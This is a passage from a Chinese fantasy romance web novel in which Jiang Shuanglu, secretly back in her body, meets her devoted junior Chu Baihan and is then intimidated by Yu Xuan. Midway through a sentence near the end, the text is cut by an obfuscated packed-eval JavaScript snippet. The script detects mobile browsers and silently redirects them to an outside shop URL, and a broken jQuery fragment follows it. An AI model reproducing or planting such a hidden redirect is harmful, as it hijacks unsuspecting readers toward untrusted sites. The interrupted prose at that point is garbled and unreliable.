方少轩简直头皮发麻。

    倏尔,他突然笑出了声:好小子!原来是头深藏不露的恶狼。

    余喧在江双鹿面前始终是听话乖巧的样子,连交恶的那几年,他都跟江双鹿争得小心翼翼的。

    方少轩始终以为这人没什么野心。

    盟主的位置也只是顺势而为坐上的。

    谁能想到他野心大着呢。

    他扇了扇,冷汗顺着皮肤流下来,“太过执着不是好事。”

    “我有数。”

    那就是不改了。

    谁说他不是江双鹿养出来的,这执着到钻牛角尖的样子和江双鹿一模一样。

    方少轩撇了撇嘴,一副无所谓的样子继续端起茶来喝。

    跟他有什么关系。

    反正遭事的是江双鹿。

    有热闹,他坐一旁看就是了。

    *

    收好画卷,江双鹿本想先藏到自己的院子里,谁知走到一半撞上了个“熟人”。

    “啊。”

    对方见了她,懵懵地抬起手,明明是十分不可思议,吐出嘴来却仿佛只有一分惊讶。

    来人穿着紧身甲衣,袖口有金色束环,腰间挂着两把斗大的铁锤,看起来有她身量两个大。

    这样壮硕的装扮上确是一张清秀呆萌的女儿脸。

    楚白寒——余喧座下的第一大将军。

    江双鹿眉毛抽抽,想躲着走。

    楚白寒眼睛却亮了起来,一脸惊喜,“师姐!”

    江双鹿躲着她倒不是因为她是余喧座下的大将军,而是因为这女子是她的超级迷妹。

    楚白寒腰上挂着两把大锤,却轻松地跑到了她面前,“师姐去哪啊。”

    “哦哦,我回寝殿,先走了啊。”

    她和楚白寒说来有一段奇遇。

    从她变成孤魂野鬼那天起,她就发现她只能在自己身体方圆四里内活动。

    朝同个方向飘个一刻钟,就出了范围,就得回到她身体上方。

    然而,江双鹿看着“冒牌货”舔余喧实在闹心,那“冒牌货”又时刻贴着余喧。

    江双鹿受不了,也不在他两头上飘,在望山宗十二峰到处晃,听听八卦,睡个觉,一天就过去了。

    而为了清净,她最喜欢的地方就是小山头里的一个破庙。

    庙宇废弃了许久,里面坐了一座掉漆的菩萨,这里身处十二峰边缘,是凡人落下的一座庙宇,后来望山宗建立在这里后,

    凡人渐渐地也就不来了。

    而修士也不拜菩萨,两边的人都遗忘了这座庙。

    但对江双鹿来说正正好,

    清净,

    适合睡觉。

    两百年前,她阴差阳错地还在这里“显了灵”

    一个看起来憨厚老实的小姑娘来这里问菩萨,到底是该听爹的去嫁人,还是加入望山宗当修士,当修士的话她有没有仙缘?

    如果能当修士的话,请菩萨摇起挂铃。

    小姑娘看起来身材结实,腿长脚长,江双鹿一瞧便知她体内灵力流动如江水汹涌。

    是个天生的修士。

    江双鹿没准备理她的,

    小姑娘又开始念叨说她真的很崇拜望山宗的江师姐。

    江双鹿噌地一下就坐起来了。

    “江师姐那么厉害,又是过仙门的第一,我也想像她一样去修仙。说不定我也能斩妖除魔。”

    好!有志气!不愧是崇拜我的人。

    但好巧不巧,那天天气闷热,没有一点微风。

    平日里响个不停的挂铃,今天硬是一点声音都没发出来。

    小姑娘等了许久,等不到菩萨显灵,无奈地决定回家嫁人。

    江双鹿突然觉得很烦躁,

    这种事不知道自己决定吗?嫁人是什么好事吗?这都分不清!

    在犹豫什么!

    真是没用!

    她气愤地使劲了全身力气,才推动了一点点挂铃。

    菩萨手上的挂铃在这闷热的天气里突然响了起来,小姑娘惊喜地回头。

    过了没多久,小姑娘就带着供品来破庙告诉菩萨她被选进望山宗了。

    江双鹿晃了晃腿继续睡着,吃也吃不了,拿来干嘛。

    后来小姑娘渐渐长大,果真如江双鹿所料是个修仙的好苗子。

    力大无穷、一点就透。

    然后,她就成了余喧座下的得力将军。

    江双鹿气死了,怎么最后都是在给余喧做嫁衣。

    好不容易培养起来的迷妹都成了余喧的手下。

    楚白寒又喜欢来这破庙里给她上供和聊天。

    原本还说着怎么怎么崇拜她的人,后来的话题都是掌门真厉害,吧啦吧啦吧的。

    江双鹿一翻白眼走了,也不去破庙了。

    楚白寒一直很尊敬师姐,虽然进了望山宗后师姐总是对她爱答不理。

    她倒是没发现,每次见到师姐都很激动,然后有一日,师姐却很严肃地告诉她:“楚师妹,见到师姐还是要有礼数才行。”

    她这才知道:哦,原来师姐很烦她。

    她只能按下激动,见到师姐时遵循礼节问好。

    只是今日,怎么都抑制不了这激动

    师姐穿得并不像平日里的温婉模样。

    她束起了利落的马尾,穿得也像是一个习武的将军一样。

    和她曾经想象里的仙门天骄一模一样。

    楚白寒顿时忘了师姐曾经的“警告”,直接就迎了上去,两眼放光,说话也没大没小的。

    脑子里只想着江双鹿活过来了耶!

    师姐第一次跟我这么近打招呼!

    等到她缓过神来,意识到自己又没有讲规矩时,脸已经快贴到江双鹿面前了。

    楚白寒心下紧张,想起师姐曾经的责骂,变了脸色往后退去。

    头顶却被什么轻轻敲了两下,并不疼,反而有点亲呢的意味,

    江双鹿拿着画卷,无奈地笑,“整天冒冒失失的,哪有个大将军的样子。”

    说完,她顶着楚白寒激动的目光朝余喧的宫殿走去。

    “我陪师姐过去吧。”楚白寒得了便宜,便有了勇气,很高兴自己能跟师姐走一段路,满是骄傲。

    “随便你吧。”

    江双鹿还是对楚白寒多了几分耐心,她也许是唯一过了几十年还记得曾经的江双鹿的战绩的人。

    很多人都不记得,其实她曾经也是众人景仰的宗门天才。

    众弟子成丹后,三十天内,所有仙门的弟子都要去问仙路通过试炼,这是仙门展示自己新生力量的重要门面。

    通关白玉壁上会刻上最快通关弟子的名字,两百年来那白玉壁上的名字都是天元宗的弟子。

    但江双鹿当初从一个名不经传的小门派横空出世,落了灰的石碑终于抖擞着刻上了新的名字。

    她的名字。

    天元宗气得发抖,尤其是在听说江双鹿当时只有十五岁时。

    要知道他们宗门里白玉壁上留名的修士最小也就是十六岁,更是气得全宗门上下都憋着一股气。

    天元门快要成丹的小修士都被往死里训,还广撒网去招揽有灵根的凡人。

    而她也是唯一一个能在白玉壁上留名的女修士。

    谁曾想,

    短短五个月后,

    白玉壁就换了名字。

    *

    楚白寒硬是要将江双鹿送到寝殿,江双鹿笑了笑关上房门等着她离开。

    还没坐下,门口就传来开门声。

    不是吧!还不走!

    江双鹿腾地起身,冲过去想揪着楚白寒的耳朵扔出去,就算你是我的迷妹,我也不能忍你到这个地步!

    刚迈出门槛就跟来人撞了个满怀,她仿佛撞到了一堵墙上,脚跟绊到门槛就要往后倒。

    诶?

    腰后面突然多了条手臂,揽住她往回靠,江双鹿猛地又直面撞上那堵墙。

    鼻根被撞得酸痛,酸意从鼻腔深处涌出来,冲上眼眶。

    “师……”

    来人的话戛然而止,江双鹿认出了声音,揉着鼻子,抬头去看,却被那人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726855|208653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的神色震慑住了。

    余喧脸色阴沉得像骤雨前的天气,整张脸绷得紧紧的,仿佛松开一下就即刻会崩裂。

    他看向江双鹿的眼神一瞬间从惘然变得凌厉。

    视线从头顶巡觑到胸前,再到脚底,眼神逐渐锐利无比,带着强烈的侵略性。

    腰间的手臂也突然收紧,僵硬如铁,江双鹿的后背都仿佛被勒向了前胸,呼吸一口气被挤出去。

    她呼吸不过来,胸腔都要被挤碎了,紧贴的胸口大口喘息着,仿佛在隐忍着戾气。

    那瞬间,她毫不怀疑余喧想杀了她。

    铺天而来的杀意让她鸡皮疙瘩都起了。

    江双鹿被迫看着他双眼,脑中早已疯狂转着,猛地窜入她脑海中的念头是——余喧发现她是假的了!

    她第一时间想着逃跑,紧缩着肩膀,朝远离余喧的方向撤去,却被他铁一般的手臂又挡住了去路。

    江双鹿浑身冷汗直冒,此刻她几乎毫无胜算,打是肯定打不过了,她告诉自己要冷静,不然就会死在这里。

    她突然想起手里的画像,小心地藏到了身后,趁他不注意丢进了储物袋

    她强按下恐惧,镇定地扬起个微笑,完美无瑕地问道:“阿喧,怎么了?”

    他呼吸沉重,江双鹿小心翼翼的看着他的变化,心里松了口气。

    看来是没发现。

    余喧开口道:“师姐,怎么换了套衣服?”

    江双鹿低下头看着自己的穿着,心想余喧果然眼尖,竟然能看出她穿的是他的衣服。

    又有些疑惑余喧不会是因为她穿了他的衣服就这么大反应吧,这么小气吗?

    至于一股要杀人的气势吗?

    江双鹿虽然心里鄙夷,面上却柔柔地装出一幅无辜的样子,“我拿你的衣服改的,不好意思。”

    “师姐误会了了,是余喧的衣服配不上师姐,材料粗糙,余喧拿衣服来给师姐换。”

    说完,余喧转身去了里屋的柜子,从里面手捧着一套“眼熟”的裙子出来。

    “这是早就给师姐准备好的,一直忘给了。”

    江双鹿却怎么都笑不出来。

    白裙、束腰带、发带,整整齐齐的一套和江双鹿衣柜里的简直一个模子刻出来的。

    像是一个师傅做了几百套出来,全让余喧买了。

    江双鹿本身就不喜欢穿裙子,再说了,就算它再好看,也不能总是这副样子吧,她这几天都快看腻了。

    早上起床都分不清是不是把昨天那套穿上了。

    江双鹿顺着余喧笑了笑,“真好看,但是不麻烦了,懒得折腾换了,这套衣服也很好,我很喜欢。”

    倏然,余喧的脸像被冻住般僵住了。

    嘴角抽搐着,再也笑不出来,

    “还是换了吧,我的衣服总是水里淌火里过的,不知道沾了那些渣滓。”

    余喧说到最后一句的时候,已经步步紧靠了过来,手里捧着的衣裙按耐不住地递到她身前。

    江双鹿愣了下,稍微侧身躲过,余喧的脸色却瞬间变得更冷了。

    她止住了步子,空气里弥漫着一股奇怪的感觉,令人不适。

    余喧好像特别……强势。

    一定要她穿上这衣服,他越靠越近,虽然嘴里的话说着像是在请求,语气却越来越强硬。

    还有动作也是,

    两人之间只隔着一臂距离,余喧的身影彻底笼罩住了她。

    他身形削瘦一直给她的印象是个少年,靠得近了才发现他肩膀宽硕,足以挡住所有的光线,将她隔绝在阴影内。

    这种强烈的压迫感竟然是从余喧身上散发出来的,江双鹿也吃了一惊。

    怎么回事,难道她演得不够像,才会让余喧察觉了异常,露出了这幅样子?

    她感觉自己似乎错过了什么?

    难不成“冒牌货”和余喧的关系不像她想象的那样。

    “冒牌货”没能将余喧驯服?

    他身上明明就还保有一种野兽般的危险性,不像是一个会听师姐话的乖巧师弟。